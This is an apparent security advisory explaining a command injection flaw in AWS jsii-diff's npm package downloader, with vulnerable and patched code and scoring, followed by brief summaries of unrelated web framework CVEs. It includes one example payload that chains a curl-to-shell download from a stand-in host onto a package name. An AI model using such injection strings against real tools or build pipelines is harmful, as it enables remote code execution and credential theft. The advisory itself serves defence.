Aug 8, 2026·7 min read·2 visits
Unsanitized input interpolation in jsii-diff's NPM package downloader allows local or pipeline-integrated attackers to execute arbitrary shell commands via crafted package names prefixed with npm:.
An OS command injection vulnerability exists in the npm package loading component of the jsii-diff CLI tool within the AWS jsii framework. Prior to version 1.131.0, when parsing package specifiers prefixed with `npm:`, the tool concatenated user-controlled inputs directly into a shell execution string via child_process.exec. This allows attackers to execute arbitrary shell commands under the context of the running Node.js process.
AWS jsii-diff is an integral utility within the AWS jsii framework, designed to perform semantic version checking and detect API breaking changes by comparing compiled library definitions. The tool allows developers to compare a local package or library definition against an arbitrary target, including packages hosted on the NPM registry. To facilitate remote comparison, jsii-diff provides an interface to resolve package configurations by specifying a package name prefixed with the npm: scheme.
The command-line parsing utility handles arguments matching this prefix by passing the remainder of the string to internal package-fetching logic. However, prior to version 1.131.0, the package-fetching functions in jsii-diff did not sanitize or escape the user-supplied package string before evaluating it within an OS-level execution wrapper. This design choice exposed a direct attack surface to any context where untrusted parameters could be passed to the jsii-diff CLI.
This vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command. The primary impact is arbitrary shell command execution under the security context of the Node.js process executing the CLI. Depending on how the utility is integrated, this can lead to local privilege escalation, local environment compromise, or remote code execution in automated software supply chain pipelines.
The technical root cause of CVE-2026-15895 lies within the helper implementation in packages/jsii-diff/lib/util.ts. Specifically, the functions downloadNpmPackage and npmPackageExists accept an unvalidated string parameter representing the target NPM package. The utility relies on an abstracted execution wrapper around Node.js's native child_process.exec function to invoke the NPM command-line tool.
Node.js's child_process.exec functions by spawning an intermediate system shell (such as /bin/sh on Unix-like platforms or cmd.exe on Windows) to parse and run the provided command string. Because the pkg parameter is interpolated directly into the string literal passed to the executor, the shell interprets any control characters or shell metacharacters as syntax instructions rather than literal command arguments. This behavior allows attackers to chain or redirect processes using standard shell syntax.
In the vulnerable implementation of downloadNpmPackage, the code attempts to download the specified package using the command string `npm install --silent --prefix . $\{pkg\}`. Similarly, npmPackageExists validates existence using `npm show --silent $\{pkg\}`. The lack of prior input sanitization ensures that shell execution control flow is completely hijacked once a metacharacter (such as a semicolon, logical operator, backtick, or shell expansion sequence) is introduced into the argument.
A review of the patch applied in commit 9f42f274b23e80dd38dce51d0e8847149fcf2528 reveals that the remediation introduces an input validation boundary before any command compilation occurs. The newly implemented function validateValidPackageSpecifier(pkg) evaluates the package name against a strict, negative regular expression lookahead pattern to reject unsafe character patterns.
Below is the structural difference between the vulnerable code path and the patched code path in packages/jsii-diff/lib/util.ts:
// VULNERABLE CODE
export async function downloadNpmPackage<T>(
pkg: string,
block: (dir: string) => Promise<T>,
): Promise<NpmDownloadResult<T>> {
return inTempDir(async () => {
LOG.info(`Fetching NPM package ${pkg}`);
try {
// CRITICAL: Raw string interpolation with no sanitization
await exec(`npm install --silent --prefix . ${pkg}`);
} catch (e: any) {
// ...
}
});
}
// PATCHED CODE
export async function downloadNpmPackage<T>(
pkg: string,
block: (dir: string) => Promise<T>,
): Promise<NpmDownloadResult<T>> {
// FIX: Validate input against strict allowlist first
validateValidPackageSpecifier(pkg);
return inTempDir(async () => {
LOG.info(`Fetching NPM package ${pkg}`);
try {
await exec(`npm install --silent --prefix . ${pkg}`);
} catch (e: any) {
// ...
}
});
}The added validator validateValidPackageSpecifier uses the regular expression /[^a-z0-9@/:._-]/i. The pattern acts as a blocklist for characters outside the designated set. If the package identifier contains any characters that are not ASCII alphanumeric, @, /, :, ., _, or -, the application throws an exception immediately and halts execution. This prevents the interpolation of spaces or command separators into the shell environment.
To execute this vulnerability locally, an attacker must have command-line access to the host or the ability to pass arguments to an application invoking jsii-diff. The exploitation payload relies on shell command termination or chaining operators to split the single npm install instruction into multiple distinct executions. When the command parser encounters a semicolon ; or an ampersand &, it terminates the initial process and begins executing the appended command.
For example, invoking the CLI with the argument npm:lodash; curl -fsSL http://example.com/malicious.sh | sh shifts execution flow. The process first attempts to resolve and download lodash, then immediately transitions to executing the curl and shell pipes. The commands execute sequentially under the exact permissions of the parent Node.js shell process, without requiring any elevated credentials or administrative rights.
In a remote context, this exploit is highly applicable to continuous integration and delivery (CI/CD) environments. If a repository implements automated pull-request validation using jsii-diff and extracts package names dynamically from a client-controlled configuration file (such as package.json), a pull request containing a crafted package string will execute the command injection within the build runner. This exposes sensitive environment variables, signing keys, and cloud provider credentials stored in the runner's context.
The severity of CVE-2026-15895 is classified as High, with a CVSS v4.0 base score of 8.4 and a CVSS v3.1 base score of 7.8. The primary driver of this score is the potential for complete loss of confidentiality, integrity, and availability on the target machine where the Node.js process is active. Because the injected commands run with the privileges of the executing user, any local resources accessible to that user are compromised.
Within automated pipeline environments, the blast radius of this vulnerability increases significantly. CI/CD runners often possess elevated access tokens, cloud service roles, or access to private repository credentials. Successful command execution on these runners allows attackers to exfiltrate secrets, manipulate build artifacts, and inject malicious code directly into upstream software distributions, facilitating a supply chain attack.
Despite the high severity, the exploitability requires active user interaction or a specific pipeline configuration where external inputs are passed directly to the jsii-diff command arguments. This constraint is reflected in the CVSS v4.0 active user interaction requirement (UI:A) and the low EPSS score of approximately 0.0063 (0.63% exploitation probability over 30 days). No active in-the-wild exploitation has been recorded in the CISA KEV catalog.
The recommended remediation is to upgrade jsii-diff to version 1.131.0 or later immediately. The maintainers resolved the security issue by integrating the strict alphanumeric validation filter in the release on May 19, 2026. This completely blocks traditional command injection syntax from reaching the shell parser.
In environments where an immediate package upgrade is not feasible, organizations should apply defensive input sanitization manually or restrict access to the jsii-diff CLI. Any wrapper scripts or automated pipelines executing the CLI must validate package arguments using a strict allowlist. A recommended regular expression for validating package arguments at the pipeline orchestrator level is ^[a-zA-Z0-9@/._-]+$.
It is critical to recognize that while the regular expression /[^a-z0-9@/:._-]/i successfully blocks command injection, it still permits characters like : and /. This allows package specifiers to point to remote URLs (such as npm:https://example.com/payload.tgz) or local relative paths (such as npm:../../tmp/malicious). If npm resolves these targets, it may execute arbitrary lifecycle scripts defined in the package's package.json (such as preinstall or postinstall scripts). Therefore, defense-in-depth measures should include disabling script execution via the --ignore-scripts configuration in NPM or restricting network egress on CI/CD runners to verified registry endpoints.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
jsii-diff Amazon Web Services (AWS) | < 1.131.0 | 1.131.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Local (CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A) |
| CVSS Score | 8.4 |
| EPSS Score | 0.0063 |
| Exploit Status | poc |
| KEV Status | Not Listed |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
An information disclosure vulnerability in the Nuxt development server allows adjacent network attackers to retrieve the absolute project root directory and a persistent workspace UUID by querying the unprotected Chrome DevTools workspace endpoint. This occurs when the development server is bound to a network-reachable interface, allowing requests that bypass the header-based security verification checks.
A Regular Expression Denial of Service (ReDoS) vulnerability exists in SvelteKit's content negotiation header parser prior to version 2.70.2. An unauthenticated remote attacker can exploit this vulnerability by sending a crafted Accept header with highly repetitive malformed values. This triggers catastrophic backtracking on the single-threaded Node.js/Bun event loop, leading to CPU exhaustion and full denial of service.
CodeIgniter4 versions prior to v4.7.4 contain a protocol-spoofing vulnerability due to improper verification of upstream reverse proxy forwarding headers. Remote, unauthenticated attackers can inject headers like X-Forwarded-Proto to deceive the framework into identifying an insecure HTTP request as a secure HTTPS connection.
An SQL injection vulnerability exists in the Query Builder component of the CodeIgniter4 full-stack PHP framework. The vulnerability is located within the compilation logic of the batch delete operation, deleteBatch(). When an application chains where() conditions prior to calling deleteBatch(), the Query Builder fails to enforce or respect the escaping flags of the parameters bound to the WHERE clauses. Instead of passing these parameters through the database driver standard escaping logic, the compilation engine interpolates the raw, unescaped bound values directly into the compiled SQL string, allowing remote attackers to execute arbitrary SQL commands.
CVE-2026-63222 details a high-severity path traversal vulnerability in CodeIgniter4 versions prior to 4.7.4. The flaw lies within the `UploadedFile::move()` handler, which falls back to unsanitized, client-provided file names from the HTTP multipart request when a target name is not explicitly passed. An unauthenticated remote attacker can exploit this flaw to traverse arbitrary server directories, write malicious PHP payloads to the public-facing web root, and execute arbitrary code on the target system.
A critical unrestricted file upload vulnerability (CWE-434) in CodeIgniter4 allows unauthenticated remote attackers to execute arbitrary code. By bypassing weak validation filters in the `is_image` and `mime_in` rules, an attacker can upload a malicious PHP payload disguised as a valid image file.